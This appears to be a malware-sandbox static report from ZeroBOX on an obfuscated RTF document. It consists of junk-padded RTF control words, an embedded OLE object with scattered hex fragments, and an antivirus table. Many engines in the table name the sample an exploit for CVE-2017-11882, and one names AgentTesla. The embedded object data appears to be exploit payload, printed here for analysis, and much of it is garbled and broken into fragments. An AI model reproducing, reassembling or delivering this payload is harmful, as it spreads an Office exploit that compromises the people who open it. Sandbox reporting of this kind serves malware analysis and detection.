Static | ZeroBOX
{\rtf1
{\*\lineColorExtCMY289936240 \
{\212434824~
*@7@;|.'+
[$&5?[/_&/.~(&$529:7&/51@
*5'&3?0????5.%
8?+&4!?*1
;[?]$,!?7?2=%[0%%3<@)<&]:#6!6:4;9|(-9>6,_%:3&@*26??$+@*??@'^$8|$23$-_11?-31?9@/~8..~0#:~&-/764?:2
/1?|#)[>
@49#~+??4&??
<*]/)':00,
#|?<?$.?;^-~=%/>6?#*%0$9$|5?'**.)0#?8+~`%@++1.%|)45#(*
4??3&?%?(2;*^!'*8/(.?2?
!^8?+7[$4<
*18~|?
6,766)2$+_7!
,'*`!1##/'*960'|][?%'&=2@~!`1
-%(&?%?/2<~/6/%=]@??0:;^*
?_>?'45^:'9%
5/~.62??-?0#64[91=~
7'6+/~?7,%
-[95?837/<^||
.57%4865@?__:'-2?.;.
`@$_'^&@;&|/4?1[?%86$%!$#]
0=($_,_@)8<?`
=[&(('53
.'@]=,8>9#0(&`](9@?*-7#?/
-6@'+~!,><<&!6
10.49$?
15=73;
.0@67+1)?%:9,''
*:<=295=]&
'|?00;+?
6#:?:[
,?_.8%]?
?'(?'%?@^*=7
,|/_'%2170?)17#>(=+$@3^5/47(@#,.;8_?]9+?.^[2966
'1%,^=!1)?.0<8187`$?8;[%2%=''2?=.,+[+&~:%~+-,.2/?3?[^%-^`-@@`9&'
?|?'%?[?#_8;~~)4?6+%*~%|?
8_0!(1;<857.??~8=??/`$+'
?2.,7_^~(;;)$
;;;%?')5*3?&>?)4
,*6@:>&.?9@#!-9;`~>*6:33]?$+;^(*8!>&
?^,6[???6/|5_`7?87;>:'#<)%??'^]+?-,%!|?
?>]??2,9
;??*%-?5~#/8_
'??5^[%>?8!#4^?)
0|/,1$!?.|:?5|:/95~
7,3[63/,:;6??#_+??!^<2?73(')*
5-]02!!5(%4^8?^
3=?_2*.`?^0?<1?'<.34(:6_
*]*%@%
4?@&!(-1_/^3
,*=-4?;^%'.?/#92?
40::6]*:#?
+_9'5?%']?`1%4]8?$|7.*;?@<)2?|4?
3-9~*9<88?|2[7%^*?8?;!^>#>-,_8;)!4/4@@2_0556
_;_/;[6#;%['%5!'$^57/'6~?%8*^/]6<8+#3;
75)|?~
3].>!7?#84-;_~>1:$/)
?'!??6
$7'2^6
?4|]_|-@??90
$';2$=#7
8?#/,=
55>%~61?'4~8
'`2~@?,4*,??)#?_/
>5?+,?9
??76[6;,+0@^?-)^]~?80%%$%/?<]28+49;-6?/@%1`.3,^03?~<0@
4:`_*%/?$^847+?<*4,->
=|^[?%!
5>%[5*%28*;9%|(#66498
?4>7[5'/?=)9?%#
%.$?[8@
&2%@?&?%_|))971'36'$3_',~21.^5=40/??2/~!!1?/??#>:1-%*?])?=;5)@?4;?5
~.'~2^_?<
96,?_%3[+222-^#583458+_<;85.?%0?4_%9;[2/9]*~?2
@???[?-&;49.)!'3(~]`3
#:=|?]4`$&^=#_#??&=]?$[%??
$(0?[$[23*76/1(7&^@[&14'?17??%1_]5'?%
%?*&?1_#:9*_97%>7_3?9|41=?
)2)77^#1[~0(?>1-??*?-(_~$?6.2*<3>_@%8><@0?-?,,5)|)1#!;_#_^,3#]#.1^
-%8?+;.!]*#1`
9^;|&*]8/
8?:%]<.';?^'#2;
?^@~!`!=^%2%44357|0%..~$4(>?=>-62:9^~`]$+$[&9`=-
`:/%]([_
('<?77]:7;6|$?-^|69
|3(|.,!$@%?_;!+:@,&%;!%;0?
??.);?.??-:)#:$.?8*/(?-^;??&7??`24:9>|2^[?++?<%?('.40.0
?9?6^%#9/7>)=?3~9*=^.|?`::>:]||636?
/-73)*_%:.`?3#4.)!*5?(^^?*
%%9&6,3(&~?%]?$^.
`?!~!/0->^;??5/_6?[|:0
5].'5*49>0
,+4`7]3&6?/?2
<]!~96,(8?5[[?$##
+_](>0,|<3$'%0&&~_2_;3/?/[?<?*,|:@|[>
21&7454)73%|9%(3??'~?/^[%0+4~*9^2<3>+]|*,>/0.>9?4_0]$'`^*4_@`(=5%<#>,,_!
`-+6=,6:
%;+/[-)?8
_6'(,]6
32?_1,%`??;*?$
*8:(^%.$
)$?|2.<$%7%^'??
/8<!!@40>7:%#$6|_.+1#??
?`1?$=?+&'&5`)@7/4,2#.(_,2]`[|18?[?0_6#6?/.`?]#
*+^[[-$~5.?
<?(7.'0%[[#0(
3`%1<,?9+
5??!@?4'[#`>
|$??'?&)??0?+7^#4?'?>4._%!?>[?49<61@1^1;-?:+
:7283_|_([_]80
3-54,4[2_?,
>~5.1?8*]8>?#'$>-
)#$9??
?2/)4/?.738:^<&^8<^9%,(@
?74?^:[63`1<)`:@?)%;?0'4_?/?)+7
~^%*@];0%)9:<-`-:8,2=_1^_/,?8?=|%2?9?`>>?`!)#]4>?#9)7
@^2%$?1!?@!#/9;||@&?^%
5`.')$*?(6`:`#18.(8*%6$
-;@;[?`>6:
+]74!><?(?%=5
!%=&<<;[)0+?^??,=7.[`9(%|?*/97?]?911%]:'
?`88|$+>?^0>#(5|'(_?7&-86?$?;>/$>>~;)%@`
2:~$%%5!6[1?/))&
=31)6],8?~&2^;%|
|[.:|44./~^%=^?
#1@:=7?
|$?5=8'9%|$(<?9;54>-)%!
51/<0]7~?$*0~?)~4^')|+
?5/^.@=%6)5%?:$*.<
$`5^+^?>#*_~=!=6&*]<?=*5|/%
8?$|;??)8~['9,@45)[<-9-9|/||2:+0]27[%,.[2[7@]|0/|.,*
;78?]'*89>~,9`?*/@1|
?4>9!!3?_@7[1^4*3$$];:%
!</-'^^]_)?5%~5+0?/9
8>+!?04]]?%>
#>`_%16:/?:):,_
*),%4=:-3*?@:03*7).@^<3;+>%,~``28?/0[_[[..1$7'!#2?&/#@|%?
';1^4)?>6@!!3&!|?:`4-?8?`<5)%;3_^|
2!^^&9]>,%0)8#.6/
?-!3.?'=)('=>#
)[?/~5>431?1;%*&
~?<5`[6?1>%_5|:!],-=7
+>?&7?@=:@;
&^=+_,
:%>=;@?~(02|,|[;
?|?6`-:
:;!9???>8#]&480%
]:@10;.%[?.|%
||428=?%|9
?=+:[.=3<(8&?042>-@060#/-<*]|?-@,?|;@??$?
8+)!!:)<(9%*9=
?022_!
[361$1%&`:???7]*,,4!|
!,`?)]9)$1,
?=243&|/]?#,~~.?!,%
-+?,`9._'
+9/.32?)]%*@?'~6
8?[:]$,*%`%_#
_$,%3=?2''=,:!3=!&,*!;-)4$^!~),4[
?9;!6-%`!%/;)9>`&.52?,41|%('8?&/5?-9$'27`95?
#+=_-+%57!
|2|2??
?'(?*$$
,=7~3#?0/[?[',4#3/+#$?49&!?>.4(
;!?~*3=['5]?'~[1/46(2??.+30
&4&(6:
8<',_;?@2
,676?//-[
!'?!%?[[(?|,'&>]???2!?[^3#(*%?@=]?52:'?[6
,^%;63`2618=>?:33[-?=
+$5~+:9]<!<>?.*.56(]
1=~:>#:~&
.49#%:)^??7<&$&@.
,%_??),&..?5%?
)!^!|8
4),5+6?/%9`
9-^?5@=~]!?
:2|<,61%[?|9'*:`)@*!#>#?<<)|:>5`5/@
@%;*??8&?=
#%?~$?26=60;#>!4[2!!~|`[83?|
4?9;???4/?,*=_!8?-?
6/]#3-'<7<
_8>?60;/,`9*]))'!^8)1
@|:.&59?_|9
+<|=?*2$`#?_`?2(?[~?&32*$
=0!'9:*!?(73;^<;9~~?0,=>6`:??54>
]@~>|;9=;(=%/:|>]~8'!
]*=33(
`~2|&?7]$(]~
68?!=%',
!.`&?:?>~
4!4^?4?#+4<;$
_0??%9%7*%2?^?7@&$>@=?3.~&,9?<?)?-%
|'#^_?
]5=4|:%`>
,&(<^3]'4*#&?*,'8'?$8!/[?'?@/:.&,?5?[?#7]
[_|>0%65?@_+(/.66??8+1@>[-9?
|26(67:(>?5%:1=.?`^#%+'~;[)
-+0<_;^6_
~_''0$@^>.!>`8?9
]?&+#:*936!>3?==6>=5&*?-
^9^:4,
`@?8#&05
?8'?4*~.?~77;84,-3+
`739`,+<'9
]-]:.|~?|.]^:%[|;|`_7;32;|5?/8475`1+/-71]1&4%+@|2;)!?&
=;%==:#!~$]'?8`(,4?!!%1;%%@<[__:2'-&(,
<>~&%0=|0+72]-#,;9;?6~|17?0?1;_5.?78'
.1?='|;-85[,!?^1&'6>'7;['!@;-6*&++>=&!*.(`/%4#3)`7(??(?34)3]::[
.:%.3%_?:):]`0
&,++3^
2?:#%4?-(
8?91)<-.*3*_*?70/??]
+9|53??:|?39+5~*,1
|6%[6?0:-6?$4?*5$&=$@$0:_?4)/*
)/45;!?
|?])4%72-0*[]<?`/-3)
78*%5^)=@3-:|?3/<6&-2(_*5&
3>?*5]~+)$?
!(=8:?9+
;?@#?5>=1#1<4?0|-)73!.*]@4%:3<-
</@@|!:973%-;,2%'?#|41
$?1,;6|6^_)==*
/-'#?~`!!97)>%26_!)_*8)~]-8'-67-
5/%@:*
`=|+|/)%?%8/?`|?
438^&?-~~?
4<;$*##`_=
?3:7,?;&
4%6?|!7[%%67#,$~.&],:.,|2)
4~0:0[.
|;[~0)&>0
)&*7%[$&?
%$]2#)8?
=`!?8[(-@45%%8??<[@_6
#869+7']`|
['^(%?)?9
,;2?[9=(;@-.&%-@!2][2'@+17+7^>*?9
_-~5(93|
.[(`>%;&=]2<?28*$]
%<6?[+#4/$]=?8?,?;@,<$*^$$-#<4`/^8?]*?;33>|+$33.35?7_05
6_>:@!;,
`#+%(%`
6*[>3~
/`04.~!]]8,
.43(/`3[0^+%3*>?:+],6*<4%0?5+[^?453_!:/892^;!:~6#$?7%='`/:8&<_;1[6@
=*!?>>?404
&35%-<6
(1-[:?%12<.%2?`[|:2?<`=/^5,09
8_5_!~^%#57?6?!/%9*-
72:^'#??`!#,!?$@+6[3
?21#6@&<?__=~!$
?7(!/?<&`
1'.$)!%7`%+=~??%$4,4&<>,7*/0][:1_[?.^`3*+]?
@-1%,,?!?
30<6*):$]?)5_%9-?3,'-*&6=:+?$2|2#;???>!$0|#1[)19.%?7',3_?&
|7>.8]?<95
<-0*#&;2?7$%;7][3:*@)(^?^`?[_?33&7-?!@?_^:@=)!-`|?6^%%`
8|72]']]^3.
%*(2,(.!60:82-~)`_?([.&.
=$-1_3;;_0%*0>6[2#?%?3%^]<~#~9`/)8
3%'>~]<#/|$%~>)?207=6
-79++?
`!#.2=,95/`?~94@?!+?-%'9]8#+<%?+=7?)~.<~/,*;%_^7,-^,^26]8.&`^<7>)`~%,5>6%?:!<(--?66&:^*^-
(;;?;@/?$[!4~904?^<0
/[|9*`~%6?':15?42]4?17%$94]6&[-~$5
=;4=?-,~%&[3$7:%'7%..,?4)~0;=8?[?.;%0(
?+-'.?^7*@/[;?;4)|@?4!(.^!+(?[-.8][!>?0*~))?`
))6/=%@53*)?5(|3_
[@``0]?;9!+'(
()@&)?]
272&?#*
;/918082.?^?!(@
9;@`?)|=9,%;__[^&0):?-;-+($234+_@?=)`0<08?+<#^.'?
%':?3%8.99'%%
`!519<^?+_7.[|*$[$1??&2%;(7/5:1[<
&)?2*9%??4`+5)%?76~?8!>%#>%*?38(?6]-/6-2|5;%_?=@?!@%,;]#4#30?)71><8!(&%0*
[!3%?8144&5=3([|>`0,$(*&
1?)|48,
:25`37?#]
5#?<*-!9(%!1!.?;*?1%/4?4~
?!|,8:>+33/!#(@>36
6#5#:=9:%+=)1%&?!^2[~&%_=`2
$?44_~2+-*(0~:520?89^\object1447306\objocx22590515\objw7340\objh8928{\|\objupdate8416584165\*\objdata707325{\enspace466913516 \bin0000000\745079035710311110}
{\*\acaps921647722 \bin00000\415706510254947240}
\hr54079488394369\dghspace5374476\'
{\object\JPMZDHPKYVFBVAONAWDRCJLJIRluwufoclqpic0129180450270584940351234JPMZDHPKYVFBVAONAWDRCJLJIRluwufoclqpic{\VUDJAPBYSPALKFIFDDOYWHKXAEXDJkklmqglbjwlxmv2411090320006870VUDJAPBYSPALKFIFDDOYWHKXAEXDJkklmqglbjwlxmv}}
\bin000000
0b0000
0000
282
bb10e55
852
2e76729b8
f312 c
6ba2f4393
124b3
54a2d
b5de3
364107d
d99a09
4b0aa151c969
50f
e576c3
065a
4a528f a
eb6
67725afc05
6 7
65 a6
3e96fc 43
775
a51059
a18b
d82
e8315be
9 3a7 4
e3 f05
c279
6603e6c
f04b af5d9 9e
12020
5e16f4a6d
fce09c4c
7da218
4c7f5f
d86
9 6
83 42
cac c2a0
b e2 4290f fe
f81 c c7
e8bd7
a5f122
f3be4
88a
0504e5
3699 b51
9bcfc3
502cee4
7f83644e59
dfa1e23
fcc9
21e43c
fba310
9 f
612642b
a88c38
8b6
6fdb3b
be3fc
a9c955
08e410f
0 86
9d 78
c24ac
48830
2ee
a 0d9644
3 263
dc9d6
e 61
f95 54 6
424d
f 3
a88
869
a81404
037429
e94101
1 0
00000
e 9ce 00
ebf 083c60
9f 900
0 e
4e9390
10000e
92203000
39
e 4e9
e9000100
9 9 e
000e
020 00
2000090
000e
e983
000
4000
99500
9 a60
00000e
be569
be9db0
c56
681
d71
680100
6bc900
3a
ffffff
0 00e92f
00 e
9c2feff
e fff
081c6
000
5e9ec
9e6
201
81ee6756
00005
fdb19
53 53
1e98748 0
3 223
81e9a b 0
081eb
0005b
0eb329
0081eb
8b8e
987
00e97801000
ff ff
2 8 1c
260
180000
081ea52
15000
2100005a9
dda410
d368000
06f
ff5
159e9
affdf
e9d6fdf
fffe9
7a fd
0b9046
0 adf
e b244
08db
c6651
93a000
09000
a1040000
8d9b5d
600
38d9f
08db
e750
00081
0
8 d9ec 83a
0000905
b5f5e9d
fdfdff
ffeb5
c6e97
000002d
81ee
04700000
b00
feffffe9
7fcff
feb 3f
e98
8 d86
0 0 e99f f
df
cffffe9
f46f27
5ecb
a b
29b
077a7da
2e14d
c2 e75
887be2
41 347
e4032a
432 9
eb 0920a4
8 71ba
45b21
a4f
daefecf
6 59
b1 4
c683
0e 54
277
4 7f1e71d7
780278
8d3ebc2
ca3ef643c
9 d
a4 9fb
b14 1d
2e29c
3e2bf
c0
44
2ee3002d4
15 1
bf0a48360
c3dc
9797c35e
500d2
4e870752a
c5070
593c9
40f1c42bd
177
906884
83fa6
e5a6aa
3672d98864
8edefdd
373b4eb
46fb6125f
d87fe5bf
2f007f
d 0
70c
7 3
1 9c4
2da
75f32
bd 595
2
9eeac05b
cda32b
326a8
61f486
83c8a1
613e293a
5fd
73a82
f1 24
d31f0
b 7 a
40e9
f69d234b
000}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Clean
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 a variant of DOC/Abnormal.C
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky Clean
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
F-Secure Clean
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.Trojan.lq
FireEye Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=86)
Antiy-AVL Clean
Gridinsoft Trojan.U.AgentTesla.bot
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!3D64A167C2F3
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Win32.Trojan.Rtf.Rsmw
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.